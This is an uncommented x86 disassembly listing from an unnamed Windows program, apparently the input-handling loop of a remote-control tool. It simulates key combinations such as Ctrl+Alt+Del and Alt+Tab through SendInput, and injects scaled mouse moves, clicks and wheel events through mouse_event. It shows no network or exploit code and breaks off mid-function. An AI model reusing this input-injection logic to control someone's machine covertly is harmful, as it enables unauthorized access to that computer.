xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5302e8]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5300cc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x1b
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5300cc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x1b
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5302e8]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5302e8]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5300cc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x1b
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5300cc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x1b
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5302e8]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5302e8]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5300cc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x10
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5300cc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x10
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5302e8]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5302e8]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5300cc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x20
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5300cc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x20
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5302e8]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5302e8]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5300cc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5300cc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x2e
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5300cc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x2e
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5302e8]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5302e8]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5302e8]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
mov dword [ebp - 0x7b4], 1
call sub.kernel32.dll_GetTickCount
mov dword [ebp - 0x7a8], eax
call sub.user32.dll_GetMessageExtraInfo
mov dword [ebp - 0x7a4], eax
mov eax, dword [ebx + 0x10]
cmp eax, 6
ja case.0x4d46e1.10
jmp dword [eax*4 + 0x4d5fd7]
mov word [ebp - 0x7b0], 0x12
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 9
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 9
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x12
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d46e1.10
mov word [ebp - 0x7b0], 0x12
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x1b
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x1b
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x12
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d46e1.10
mov word [ebp - 0x7b0], 0x11
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x1b
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x1b
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x11
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d46e1.10
mov word [ebp - 0x7b0], 0x11
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x10
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x10
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x11
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d46e1.10
mov word [ebp - 0x7b0], 0x11
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x20
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x20
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x11
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d46e1.10
mov word [ebp - 0x7b0], 0x11
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x12
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x2e
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x2e
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x12
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x11
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d46e1.10
cmp byte [0x52efe4], 1
jb case.0x4d46e1.10
cmp dword [0x5373a4], 0xb1a1
ja case.0x4d46e1.10
mov eax, dword [0x52eee0]
mov dword [0x52eee8], eax
mov eax, dword [0x52eee4]
mov dword [0x52eeec], eax
mov esi, 0x8000
lea eax, [ebx + 0x20]
mov dword [0x5374f8], eax
mov eax, dword [ebx + 0x10]
cmp eax, 0x200
jg 0x4d6527
je 0x4d6582
cmp eax, 0xa4
jg 0x4d650f
je 0x4d65a0
sub eax, 0x84
je 0x4d6587
sub eax, 0x1c
je 0x4d65aa
dec eax
je 0x4d658c
dec eax
je 0x4d6591
jmp case.0x4d6535.515
sub eax, 0xa5
je 0x4d65a5
sub eax, 2
je 0x4d6596
dec eax
je 0x4d659b
jmp case.0x4d6535.515
add eax, 0xfffffdff
cmp eax, 9
ja case.0x4d6535.515
jmp dword [eax*4 + 0x4d653c]
or esi, 2
jmp case.0x4d6535.515
or esi, 4
jmp case.0x4d6535.515
or esi, 0x20
jmp case.0x4d6535.515
or esi, 0x40
jmp case.0x4d6535.515
or esi, 8
jmp case.0x4d6535.515
or esi, 0x10
jmp case.0x4d6535.515
or esi, 1
jmp case.0x4d6535.515
or esi, 1
jmp case.0x4d6535.515
or esi, 2
jmp case.0x4d6535.515
or esi, 4
jmp case.0x4d6535.515
or esi, 0x20
jmp case.0x4d6535.515
or esi, 0x40
jmp case.0x4d6535.515
or esi, 8
jmp case.0x4d6535.515
or esi, 0x10
jmp case.0x4d6535.515
or esi, 1
jmp case.0x4d6535.515
or esi, 0x800
mov eax, dword [0x5374f8]
mov edx, dword [0x5374b8]
add dword [eax], edx
mov eax, dword [0x5374f8]
mov edx, dword [0x5374bc]
add dword [eax + 4], edx
mov eax, dword [0x5374f8]
mov eax, dword [eax]
mov edx, eax
shl eax, 0x10
sub eax, edx
mov edx, dword [0x52f518]
sub edx, dword [0x52f510]
dec edx
mov ecx, edx
cdq
idiv ecx
mov edi, eax
mov eax, dword [0x5374f8]
mov eax, dword [eax + 4]
mov edx, eax
shl eax, 0x10
sub eax, edx
mov edx, dword [0x52f51c]
sub edx, dword [0x52f514]
dec edx
mov ecx, edx
cdq
idiv ecx
mov dword [ebp - 0x4c], eax
cmp dword [0x52efc4], 0x60
je 0x4d6630
mov eax, edi
shl eax, 5
lea eax, [eax + eax*2]
cdq
idiv dword [0x52efc4]
mov edi, eax
cmp dword [0x52efc8], 0x60
je 0x4d664c
mov eax, dword [ebp - 0x4c]
shl eax, 5
lea eax, [eax + eax*2]
cdq
idiv dword [0x52efc8]
mov dword [ebp - 0x4c], eax
cmp dword [ebx + 0x10], 0x20a
jne 0x4d6662
mov eax, dword [0x5374f8]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x44], eax
jmp 0x4d6667
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, dword [0x530308]
cmp dword [eax], 0
jne 0x4d6676
call fcn.004cb9f4
mov eax, dword [0x53022c]
cmp dword [eax], 0
jne 0x4d6685
call fcn.004cccf0
mov eax, dword [0x5303e8]
cmp dword [eax], 0
jne 0x4d6694
call fcn.004cd44c
mov eax, dword [0x530308]
cmp dword [eax], 0
jle 0x4d67ca
cmp dword [ebx + 0x10], 0x20a
je 0x4d66c5
mov eax, dword [0x5374f8]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x5374f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x530200]
mov eax, dword [eax]
call eax
mov eax, dword [ebx + 0x10]
cmp eax, 0x201
jg 0x4d6706
je case.0x4d66df.161
add eax, 0xffffff5f
cmp eax, 7
ja case.0x4d46e1.10
jmp dword [eax*4 + 0x4d66e6]
add eax, 0xfffffdfe
cmp eax, 8
ja case.0x4d46e1.10
jmp dword [eax*4 + 0x4d671b]
push 1
mov eax, dword [0x530694]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
push 2
mov eax, dword [0x530694]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
push 0x10
mov eax, dword [0x530694]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
push 0x20
mov eax, dword [0x530694]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
push 4
mov eax, dword [0x530694]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
push 8
mov eax, dword [0x530694]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
mov eax, dword [0x5374f8]
cmp dword [eax + 0x10], 0
jle 0x4d67ba
push 1
mov eax, dword [0x5302e4]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
push 2
mov eax, dword [0x5302e4]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
mov eax, dword [0x53022c]
cmp dword [eax], 0
jle 0x4d6935
cmp dword [ebx + 0x10], 0x20a
je 0x4d6866
mov eax, dword [0x52efd0]
mov edx, dword [eax]
call dword [edx + 0x2c]
cmp eax, dword [0x537564]
jne 0x4d6809
mov eax, dword [0x52efd0]
mov edx, dword [eax]
call dword [edx + 0x20]
cmp eax, dword [0x537568]
je 0x4d6844
mov eax, dword [0x52efd0]
mov edx, dword [eax]
call dword [edx + 0x2c]
mov dword [0x537564], eax
mov eax, dword [0x52efd0]
mov edx, dword [eax]
call dword [edx + 0x20]
mov dword [0x537568], eax
mov eax, dword [0x537568]
push eax
mov eax, dword [0x537564]
push eax
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5304e8]
mov eax, dword [eax]
call eax
mov eax, dword [0x5374f8]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x5374f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x53053c]
mov eax, dword [eax]
call eax
mov eax, dword [ebx + 0x10]
cmp eax, 0x201
jg 0x4d6889
je 0x4d68a2
sub eax, 0xa1
je 0x4d68a2
dec eax
je 0x4d68b8
sub eax, 2
je 0x4d68ce
dec eax
je 0x4d68e4
jmp case.0x4d46e1.10
sub eax, 0x202
je 0x4d68b8
sub eax, 2
je 0x4d68ce
dec eax
je 0x4d68e4
sub eax, 5
je 0x4d68fa
jmp case.0x4d46e1.10
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x530618]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x53081c]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x530178]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5303b4]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
mov eax, dword [0x5374f8]
cmp dword [eax + 0x10], 0
jle 0x4d691d
push 1
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5308e4]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
push 0xffffffffffffffff
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5308e4]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
mov eax, dword [0x5303e8]
cmp dword [eax], 0
jle 0x4d6a05
cmp dword [ebx + 0x10], 0x20a
je 0x4d6966
mov eax, dword [0x5374f8]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x5374f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x530690]
mov eax, dword [eax]
call eax
mov eax, dword [ebx + 0x10]
cmp eax, 0x201
jg 0x4d6989
je 0x4d69a2
sub eax, 0xa1
je 0x4d69a2
dec eax
je 0x4d69b0
sub eax, 2
je 0x4d69be
dec eax
je 0x4d69cc
jmp case.0x4d46e1.10
sub eax, 0x202
je 0x4d69b0
sub eax, 2
je 0x4d69be
dec eax
je 0x4d69cc
sub eax, 5
je 0x4d69da
jmp case.0x4d46e1.10
mov eax, dword [0x530780]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
mov eax, dword [0x5309bc]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
mov eax, dword [0x5302e0]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
mov eax, dword [0x53057c]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
mov eax, dword [0x5374f8]
cmp dword [eax + 0x10], 0
jle 0x4d69f5
push 1
mov eax, dword [0x5300b8]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
push 0xffffffffffffffff
mov eax, dword [0x5300b8]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
cmp dword [ebx + 0x10], 0x200
je 0x4d6a25
push 0
push 0
mov eax, dword [ebp - 0x4c]
inc eax
push eax
lea eax, [edi + 1]
push eax
push 0x8001
call sub.user32.dll_mouse_event
cmp dword [ebx + 0x10], 0x20a
jne 0x4d6a4a
push 0
mov eax, dword [ebp - 0x44]
push eax
mov eax, dword [ebp - 0x4c]
inc eax
push eax
inc edi
push edi
push 0x8800
call sub.user32.dll_mouse_event
jmp case.0x4d46e1.10
xor eax, eax
mov dword [ebp - 0x7b4], eax
mov dword [ebp - 0x7a4], esi
inc edi
mov dword [ebp - 0x7b0], edi
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x7ac], eax
xor eax, eax
mov dword [ebp - 0x7a8], eax
call sub.kernel32.dll_GetTickCount
mov dword [ebp - 0x7a0], eax
call sub.user32.dll_GetMessageExtraInfo
mov dword [ebp - 0x79c], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d46e1.10
cmp dword [0x52ef18], 0x51f01a9
jb case.0x4d46e1.10
mov dl, 1
mov eax, dword [0x414a08]
call fcn.00403720
mov dword [ebp - 0x24], eax
lea edx, [ebp - 0x910]
lea eax, [ebx + 0x20]
call fcn.00409df0
mov edx, dword [ebp - 0x910]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x914]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x914]
call fcn.004093d0
mov dword [0x537310], eax
mov eax, dword [ebp - 0x24]
call fcn.00403750
mov eax, dword [0x537310]
add eax, 0x5b
cmp eax, dword [0x5373a4]
jae 0x4d6b3d
push 0
push 0x3e8
mov eax, dword [0x52eee0]
mov edx, dword [0x52eee4]
call fcn.004058f0
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4d6b3d
cmp eax, 0
je case.0x4d46e1.10
mov ax, word [ebx + 0x1c]
and ax, 0xffff
mov word [0x537348], ax
mov eax, dword [ebx + 0x1c]
shr eax, 0x10
and eax, 0x1f
mov esi, dword [eax*4 + 0x52f470]
mov eax, dword [ebx + 0x1c]
shr eax, 0x18
and al, 1
mov byte [0x5373a8], al
mov eax, dword [ebx + 0x1c]
shr eax, 0x19
and al, 1
cmp al, 1
jne 0x4d6b7b
mov byte [0x52ef98], 0xff
mov byte [0x52efe4], 0
xor eax, eax
mov dword [0x537564], eax
jmp 0x4d6b97
call fcn.004d3cd0
push 1
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5305a8]
cmp dword [eax], 0
jg 0x4d6b8b
cmp byte [0x52ef2c], 0
je 0x4d6bdb
push 0
call sub.user32.dll_GetDC
mov edi, eax
test edi, edi
je 0x4d6bdb
push 0x58
push edi
call sub.gdi32.dll_GetDeviceCaps
mov dword [0x52efc4], eax
push 0x5a
push edi
call sub.gdi32.dll_GetDeviceCaps
mov dword [0x52efc8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
jmp 0x4d6bef
mov dword [0x52efc4], 0x60
mov dword [0x52efc8], 0x60
cmp byte [ebx + 0xc], 0x87
setne al
neg al
sbb eax, eax
mov byte [0x52efac], al
cmp byte [0x52efac], 0
je 0x4d6cab
mov eax, dword [ebx + 0x10]
mov dword [0x537368], eax
mov eax, dword [ebx + 0x14]
mov dword [0x53736c], eax
mov eax, dword [ebx + 0x18]
shr eax, 0xc
and eax, 0xf
mov dword [0x52efdc], eax
cmp dword [0x537374], 0
jle 0x4d6c3f
mov eax, dword [0x537374]
mov dword [0x52efe0], eax
jmp 0x4d6c52
mov eax, dword [ebx + 0x18]
shr eax, 8
and eax, 0xf
mov dword [0x52efe0], eax
call fcn.004d0618
mov al, byte [ebx + 0x18]
and al, 0xf
mov byte [0x53735c], al
test esi, esi
jle 0x4d6c71
mov eax, esi
call fcn.004d3d40
shl eax, 2
mov dword [0x52efd8], eax
jmp 0x4d6c80
mov eax, esi
call fcn.004d3d40
shl eax, 3
mov dword [0x52efd8], eax
mov eax, dword [0x52efd8]
test eax, eax
jns 0x4d6c8c
add eax, 3
sar eax, 2
call fcn.0040305c
mov edx, eax
neg eax
add eax, eax
mov dword [0x52efc0], eax
mov byte [0x5373a8], 1
jmp 0x4d6d4d
mov eax, dword [ebx + 0x14]
shr eax, 0xc
and eax, 0xf
mov dword [0x52efdc], eax
cmp dword [0x52efdc], 2
jne 0x4d6cdc
call fcn.0046d53c
fcomp dword [0x4d99f0]
fnstsw ax
sahf
jbe 0x4d6cdc
mov dword [0x52efdc], 3
cmp dword [0x537374], 0
jle 0x4d6cf1
mov eax, dword [0x537374]
mov dword [0x52efe0], eax
jmp 0x4d6d04
mov eax, dword [ebx + 0x14]
shr eax, 8
and eax, 0xf
mov dword [0x52efe0], eax
call fcn.004d0618
mov al, byte [ebx + 0x14]
and al, 0xf
mov byte [0x53735c], al
cmp dword [0x5373a4], 0xb1a1
ja 0x4d6d28
mov eax, esi
call fcn.004d3d40
mov dword [0x52efd8], eax
jmp 0x4d6d32
mov dword [0x52efd8], 0x3e8
mov dword [0x52efc0], 0xfffffffe
call sub.user32.dll_GetClipboardSequenceNumber
mov dword [0x52f4f4], eax
xor eax, eax
mov dword [0x537378], eax
cmp byte [0x5373a8], 0
je 0x4d6d5f
cmp byte [0x5373a9], 0
je 0x4d6d7f
push 0x5622
push 0x10
mov cx, 1
xor edx, edx
mov eax, 0x20
call fcn.004ad4b4
test al, al
je 0x4d6d7f
call fcn.004ad664
cmp dword [0x52efe0], 3
je 0x4d6d8d
call fcn.004c9b00
cmp dword [0x52efe0], 4
je 0x4d6d9b
call fcn.004cb428
cmp dword [0x5374e0], 3
jne 0x4d6dd8
movsx eax, byte [0x52ef98]
mov edx, dword [0x52efd8]
call fcn.004ca84c
cmp dword [0x52efe0], 5
je 0x4d6dc9
or eax, 0xffffffff
call fcn.004ca7b4
jmp 0x4d6dfd
mov edx, 2
or eax, 0xffffffff
call fcn.004ca7e0
jmp 0x4d6dfd
cmp dword [0x52efe0], 5
je 0x4d6de8
call fcn.004ca174
jmp 0x4d6dfd
mov eax, dword [0x530710]
cmp dword [eax], 0xffffffd8
jge 0x4d6dfd
mov eax, dword [0x530710]
mov dword [eax], 0xffffffd8
cmp byte [0x52ef9c], 0
jne 0x4d6fe2
mov dl, 1
mov eax, dword [0x4220f8]
call fcn.004286fc
mov dword [0x537360], eax
mov dl, 7
mov eax, dword [0x537360]
call fcn.00429c74
mov dl, 1
mov eax, dword [0x4220f8]
call fcn.004286fc
mov dword [0x537364], eax
mov dl, 7
mov eax, dword [0x537364]
call fcn.00429c74
cmp dword [0x52efb0], 0
jne 0x4d6e5e
mov dl, 1
mov eax, dword [0x4143a4]
call fcn.00403720
mov dword [0x52efb0], eax
cmp dword [0x52efb4], 0
jne 0x4d6e78
mov dl, 1
mov eax, dword [0x46f5bc]
call fcn.0046f754
mov dword [0x52efb4], eax
cmp dword [0x52efb8], 0
jne 0x4d6e92
mov dl, 1
mov eax, dword [0x414cf8]
call fcn.00403720
mov dword [0x52efb8], eax
mov eax, dword [0x530a1c]
cmp dword [eax], 0
jne 0x4d6eb0
mov dl, 1
mov eax, dword [0x4143a4]
call fcn.00403720
mov edx, dword [0x530a1c]
mov dword [edx], eax
mov eax, dword [0x530410]
cmp dword [eax], 0
jne 0x4d6ece
mov dl, 1
mov eax, dword [0x46f5bc]
call fcn.0046f754
mov edx, dword [0x530410]
mov dword [edx], eax
mov eax, dword [0x5300e8]
cmp dword [eax], 0
jne 0x4d6eec
mov dl, 1
mov eax, dword [0x4143a4]
call fcn.00403720
mov edx, dword [0x5300e8]
mov dword [edx], eax
mov eax, dword [0x5304bc]
cmp dword [eax], 0
jne 0x4d6f0a
mov dl, 1
mov eax, dword [0x46f5bc]
call fcn.0046f754
mov edx, dword [0x5304bc]
mov dword [edx], eax
mov eax, dword [0x530488]
cmp byte [eax], 0
jne 0x4d6fbb
push 0
push 3
lea eax, [ebp - 0x918]
mov edx, dword [0x5304ec]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0x918]
mov edx, 0x4d99fc
call fcn.0046bdf8
mov dword [ebp - 0x48], eax
xor edx, edx
mov eax, dword [ebp - 0x48]
call fcn.004aa708
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov edx, dword [0x5304c4]
mov dword [edx], eax
push 0
push 3
lea eax, [ebp - 0x91c]
mov edx, dword [0x5304ec]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0x91c]
mov edx, 0x4d9a14
call fcn.0046bdf8
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jle 0x4d6fb3
dec dword [ebp - 0x48]
mov cl, 1
